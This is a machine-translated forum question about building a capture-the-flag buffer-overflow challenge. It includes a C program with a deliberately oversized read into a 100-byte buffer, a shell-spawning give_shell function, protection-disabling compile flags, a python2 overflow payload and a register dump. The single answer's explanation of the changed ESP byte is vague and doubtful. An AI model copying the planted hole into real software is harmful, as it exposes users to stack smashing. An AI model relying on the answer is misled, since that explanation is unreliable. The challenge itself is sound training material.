c++ 漏洞利用的最后一个字节被更改

q43xntqr  于 2023-06-25  发布在  其他
关注(0)|答案(1)|浏览(138)

我正在尝试为CTF设计一个基本的缓冲区溢出。这是C代码。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void give_shell() {
    system("/bin/sh");
}

int main() {
    int secret = 0xdeadbeef;
    char name[100] = {0};
    read(0, name, 0x100);
    if (secret == 0x1337) {
        puts("Wow! Here's a secret.");
    } else {
        puts("I guess you're not cool enough to see my secret");
    }
}

下面是漏洞利用:
python2 -c "print 'A'*104 + '\x90'*16 + 'BCDE'" > fatman
下面是注册表的内容:

EAX  0x0
*EBX  0xf7e27ff4 (_GLOBAL_OFFSET_TABLE_) ◂— 0x227d8c
*ECX  0x90909090
 EDX  0x0
*EDI  0x90909090
*ESI  0x804bf04 (__do_global_dtors_aux_fini_array_entry) —▸ 0x8049160 (__do_global_dtors_aux) ◂— endbr32 
*EBP  0x90909090
*ESP  0x9090908c
*EIP  0x804922f (main+128) ◂— ret

错误为****<Could not read memory at 0x9090908c>**
下面是编译代码:gcc -m32 -z execstack -fno-pie -g -no-pie -fno-stack-protector feed_me_more.c -o feed_me_more
为什么ESP的最后一个字节要更改,不应该是0x90909090而不是0x9090908c
如何解决这一问题?出于同样的原因,我无法将控制流重定向到give_shell函数。最后一个字节被更改。

enyaitl3

enyaitl31#

ESP的最后一个字节发生变化的原因是堆栈在内存中的工作方式。当缓冲区溢出发生时,您正在用漏洞攻击有效负载覆盖main()函数的返回地址。然而,返回地址存储在堆栈的顶部,堆栈在内存中向下增长。
在您的代码中,有一个名为name的缓冲区,大小为100字节。当您用有效负载溢出该缓冲区时,您不仅覆盖返回地址,还覆盖返回地址下面的一些内存,包括部分堆栈帧。在本例中,您已经覆盖了ESP的值,导致它以0x 8 c而不是0x 90结尾。
要解决此问题,您需要确保漏洞利用有效负载不会覆盖堆栈上的重要值,例如返回地址和其他必要变量。实现这一点的一种方法是调整有效载荷的长度。您可以尝试不同的负载长度及其偏移量,以找到一个不覆盖关键堆栈值的合适位置。
此外,您提到您无法将控制流重定向到给予_shell()函数。这可能是由于几个因素。首先,确保你有正确的给予_shell()函数的地址。您可以使用调试器或objdump等工具检查地址。其次,确保您试图覆盖返回地址的地址格式正确。它应该是地址的little-endian表示,因为x86架构是little-endian。

相关问题